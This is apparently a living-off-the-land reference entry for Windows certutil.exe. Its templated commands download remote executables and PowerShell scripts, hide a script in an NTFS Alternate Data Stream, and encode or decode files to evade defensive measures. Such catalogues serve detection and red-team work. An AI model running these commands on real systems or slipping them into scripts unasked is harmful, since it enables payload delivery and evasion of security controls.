Download and save an executable to disk in the current folder. (Download file from Internet)

certutil.exe -urlcache -f {REMOTEURL:.exe} {PATH:.exe}

Download and save an executable to disk in the current folder when a file path is specified, or `%LOCALAPPDATA%low\Microsoft\CryptnetUrlCache\Content\<hash>` when not. (Download file from Internet)

certutil.exe -verifyctl -f {REMOTEURL:.exe} {PATH:.exe}

Download and save a .ps1 file to an Alternate Data Stream (ADS). (Download file from Internet and save it in an NTFS Alternate Data Stream)

certutil.exe -urlcache -f {REMOTEURL:.ps1} {PATH_ABSOLUTE}:ttt

Download and save an executable to `%LOCALAPPDATA%low\Microsoft\CryptnetUrlCache\Content\<hash>`. (Download file from Internet)

certutil.exe -URL {REMOTEURL:.exe}

Command to encode a file using Base64 (Encode files to evade defensive measures)

certutil -encode {PATH} {PATH:.base64}

Command to decode a Base64 encoded file. (Decode files to evade defensive measures)

certutil -decode {PATH:.base64} {PATH}

Command to decode a hexadecimal-encoded file. (Decode files to evade defensive measures)

certutil -decodehex {PATH:.hex} {PATH}